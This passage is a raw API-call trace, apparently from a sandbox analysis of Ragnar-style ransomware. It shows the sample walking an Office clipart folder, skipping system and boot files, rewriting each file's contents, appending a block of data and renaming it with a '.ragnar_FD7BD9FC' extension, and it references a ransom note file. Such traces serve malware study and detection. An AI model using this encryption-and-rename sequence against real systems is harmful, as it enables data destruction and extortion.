nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.261] GetProcessHeap () returned 0x580000 [0084.261] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.261] CloseHandle (hObject=0xf4) returned 1 [0084.261] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" [0084.261] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.ragnar_FD7BD9FC" [0084.261] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.262] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1 [0084.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.262] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107426.WMF" | out: lpString1="J0107426.WMF") returned="J0107426.WMF" [0084.262] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned=".WMF" [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="autorun.inf") returned 1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="boot.ini") returned 1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="bootfont.bin") returned 1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="bootsect.bak") returned 1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="bootmgr") returned 1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="bootmgr.efi") returned 1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="bootmgfw.efi") returned 1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="desktop.ini") returned 1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="iconcache.db") returned 1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="ntldr") returned -1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="ntuser.dat") returned -1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="ntuser.dat.log") returned -1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="ntuser.ini") returned -1 [0084.262] lstrcmpiW (lpString1="J0107426.WMF", lpString2="thumbs.db") returned -1 [0084.262] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.262] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.262] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.262] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.262] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.263] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.263] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 0x20 [0084.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.263] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11492) returned 1 [0084.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2cdb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.263] GetProcessHeap () returned 0x580000 [0084.263] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.263] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.265] VirtualAlloc (lpAddress=0x0, dwSize=0x2ce4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.265] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.265] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.265] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ce4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2ce4, lpOverlapped=0x0) returned 1 [0084.266] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.266] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ce4, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.266] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ce4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2ce4, lpOverlapped=0x0) returned 1 [0084.266] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ce4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.266] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.267] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.267] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.267] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.267] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.267] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.267] GetProcessHeap () returned 0x580000 [0084.267] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.267] CloseHandle (hObject=0xf4) returned 1 [0084.267] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" [0084.267] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.ragnar_FD7BD9FC" [0084.267] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.268] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1 [0084.268] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.268] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107446.WMF" | out: lpString1="J0107446.WMF") returned="J0107446.WMF" [0084.268] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned=".WMF" [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="autorun.inf") returned 1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="boot.ini") returned 1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="bootfont.bin") returned 1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="bootsect.bak") returned 1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="bootmgr") returned 1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="bootmgr.efi") returned 1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="bootmgfw.efi") returned 1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="desktop.ini") returned 1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="iconcache.db") returned 1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="ntldr") returned -1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="ntuser.dat") returned -1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="ntuser.dat.log") returned -1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="ntuser.ini") returned -1 [0084.268] lstrcmpiW (lpString1="J0107446.WMF", lpString2="thumbs.db") returned -1 [0084.268] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.268] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.268] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.268] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.268] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.268] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.268] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 0x20 [0084.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.269] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30336) returned 1 [0084.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7677, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.269] GetProcessHeap () returned 0x580000 [0084.269] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.269] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.270] VirtualAlloc (lpAddress=0x0, dwSize=0x7680, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.271] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7680, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7680, lpOverlapped=0x0) returned 1 [0084.272] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.272] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7680, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.272] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7680, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7680, lpOverlapped=0x0) returned 1 [0084.273] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7680, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.273] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.273] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7680, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.273] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.273] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.273] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.273] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.273] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.273] GetProcessHeap () returned 0x580000 [0084.273] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.273] CloseHandle (hObject=0xf4) returned 1 [0084.273] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" [0084.273] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.ragnar_FD7BD9FC" [0084.273] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.274] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1 [0084.274] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.274] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107450.WMF" | out: lpString1="J0107450.WMF") returned="J0107450.WMF" [0084.274] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned=".WMF" [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="autorun.inf") returned 1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="boot.ini") returned 1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="bootfont.bin") returned 1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="bootsect.bak") returned 1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="bootmgr") returned 1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="bootmgr.efi") returned 1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="bootmgfw.efi") returned 1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="desktop.ini") returned 1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="iconcache.db") returned 1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="ntldr") returned -1 [0084.274] lstrcmpiW (lpString1="J0107450.WMF", lpString2="ntuser.dat") returned -1 [0084.275] lstrcmpiW (lpString1="J0107450.WMF", lpString2="ntuser.dat.log") returned -1 [0084.275] lstrcmpiW (lpString1="J0107450.WMF", lpString2="ntuser.ini") returned -1 [0084.275] lstrcmpiW (lpString1="J0107450.WMF", lpString2="thumbs.db") returned -1 [0084.275] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.275] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.275] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.275] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.275] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.275] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.275] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 0x20 [0084.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.276] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4920) returned 1 [0084.276] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x132f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.276] GetProcessHeap () returned 0x580000 [0084.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.276] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.277] VirtualAlloc (lpAddress=0x0, dwSize=0x1338, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.277] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.277] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.278] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1338, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1338, lpOverlapped=0x0) returned 1 [0084.278] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.278] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1338, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.278] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1338, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1338, lpOverlapped=0x0) returned 1 [0084.279] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1338, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.279] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1338, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.279] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.279] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.279] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.279] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.280] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.280] GetProcessHeap () returned 0x580000 [0084.280] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.280] CloseHandle (hObject=0xf4) returned 1 [0084.280] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" [0084.280] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.ragnar_FD7BD9FC" 